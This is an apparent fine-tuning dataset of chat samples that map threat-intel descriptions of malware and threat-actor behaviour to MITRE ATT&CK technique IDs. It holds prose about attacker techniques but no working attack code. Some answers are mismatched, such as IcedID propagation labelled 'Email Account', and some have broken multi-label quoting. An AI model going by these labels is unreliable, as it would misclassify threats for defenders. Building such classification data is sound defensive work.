                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc searches the local system and gathers data."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy has used Tor relays for Command and Control servers."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox has used HTTP POST requests for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use rundll32.exe to load DLL from the command line"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can log keystrokes on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018.   The script verifies all parts of the malware have been downloaded.  After downloading the payload, the XSL script checks to make sure every piece of the malware was downloaded.   One of the twelve download commands as detected by the Cybereason platform in same variant of Astaroth.   The twelve downloaded files"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER can download or upload files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun variants can use SSL for encrypting C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload)."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Without the encrypted AES key appended to the encrypted files, even if the private key used for encryption was recovered, the files could not be decrypted. Therefore, the Hermes executable used in the FEIB SWIFT attack appears never to have been used to ransom the machine, but rather to destroy the victim’s data. "
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"tDiscoverer\" variant of  establishes a C2 channel by downloading resources from Web services like Twitter and GitHub.  binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "esentutl can use Volume Shadow Copy to copy locked files such as ntds.dit."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This list of strings differs from previously analyzed SofacyCarberp samples, such as the variant discussed in our June 2016 blog “New Sofacy Attacks Against US Government Agency“ that chose from a list of strings .xml, .pdf, .htm or .zip. After establishing that the system has Internet access, the Trojan will gather detailed system information and send it to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor also attempted to use OWA account credentials likely acquired during an earlier phase of the intrusion. BRONZE UNION appeared to leverage other compromised infrastructure, presumably to make reentry attempts seem legitimate. This attempt illustrates the importance of thorough planning when conducting an eviction and the need for continuous vigilance for evidence of reentry"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver encrypts collected data with an incremental XOR key prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy uses PsExec to execute a payload or commands on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp uses Python scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has run hostname and systeminfo on a victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can delete its dropper component from the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can create a new service using the service parser function ProcessScCommand."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon uses HTTP to send data to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used the `CreateProcessA` and `ShellExecute` API functions to launch commands after being injected into a selected process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can download files from Dropbox using a hardcoded access token."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to exfiltrate data from a network segment not connected to the Internet, the threat actor deployed a modified version of hTran. This ‘connection bouncer’ tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic. There have been numerous reports of hTran being used by different Chinese threat actors, including: APT3, APT27 and DragonOK"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abused the stolen credentials to create rogue, high-privileged domain user accounts which they then used to take malicious action. By creating these accounts, they ensured they would maintain access between different waves of the attack. Once the threat actor regains their foothold, they already have access to a high-privileged domain user account"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples have a module to extract email from Microsoft Exchange servers using compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the local IP address of the victim and sends it to the C2."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea collects address book information from Outlook."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom command and control protocol that communicates over commonly used ports. The C2 protocol is encapsulated in common application layer protocols."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper)"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office (fig. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains (fig. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Additional means of circumventing anti-virus tools include the use of exploits to increase the level of rights and privileges, bypassing UAC, and injecting code into trusted processes. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "33 Download specified file to %TEMP%\\up and execute it in a new process      During C2 communications, BADNEWS will communicate to the C2 previously identified via HTTP"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser is capable of spawning a reverse shell on a victim."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Observed Clop samples try to kill several processes and services related to backups and security solutions. Clop also leverages Code Signing to evade detection. We observed the use of two signers during our research, as shown below in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command handle looks for the following command strings in Table 3:    Command Description   $fileDownload Uploads the contents of a specified file to C2   $importModule Adds a specified PowerShell module to the current script   $screenshot Executes the contents of the command, which should be the string ‘$screenshot’"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke steals user files from local hard drives with file extensions that match a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID’s operators probably plan on targeting businesses because they added a network propagation module to the malware from the get-go. IcedID possesses the ability to move to other endpoints, and X-Force researchers also observed it infecting terminal servers"
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In April, security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices. Further research uncovered attempts by the actor to compromise popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. The investigation uncovered that an actor had used these devices to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer’s passwords and in the third instance the latest security update had not been applied to the device"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can enumerate the current network connections of a host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke C2 traffic is base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork has used watering holes to deliver files with exploits to initial victims."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to collect the victim MAC address and LAN IP."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop. This malware family used the new mutex ‘com_mycompany_apps_appname_new’. This variant of BADNEWS uses different filenames compared to previous versions. All of these files reside in the victim’s %TEMP% directory: Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers. BADNEWS performs many of the expected functions associated with previous versions including keylogging and identifying files of interest. Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files. It continues to seek out files with the following extensions: In order to prepare for C2 communication, BADNEWS will aggregate various victim information, which is appended to two strings. C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS: During C2 communications, BADNEWS will communicate to the C2 previously identified via HTTP. Through the use of relatively new exploits, as well as a constantly evolving malware toolset, they aim to compromise prominent organizations and individuals to further their goals. One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has used RC4 encryption to download modules."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has created Registry keys for persistence in \"[HKLM|HKCU]\\…\\CurrentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence through a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This report provides background on Windows container vulnerabilities, gives a technical overview of Siloscape and offers recommendations on best practices for securing Windows containers"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has searched for security products on infected machines."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can download files to the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can set a Registry key to determine how long it has been installed and possibly to indicate the version number."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has used web shells to establish an initial foothold and for lateral movement within a victim's system."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor has the ability to search for Kaspersky Antivirus on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK is capable of performing remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on our technical analysis, telemetry, and data from submissions, we can assert with high confidence that this is the work of the Hidden Cobra group. These initial findings appear to be the first stage of Operation GhostSecret. For more on the global aspect of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure of Entertainment, Finance, Health Care, and Other Industries"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D has a command to download and execute a file on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement began around 28 hours after initial entry, using SMB to drop a Cobalt Strike Beacon on a domain controller. From there, the threat actor used WMIC to execute the beacon"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can check for Internet connectivity by contacting bing[.]com with the request format `bing[.]com?id=<GetTickCount>`."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used the \"net view\" command."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hard Disk Check The Trojan will perform the following WMI query:   Select * from Win32_DiskDrive   The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
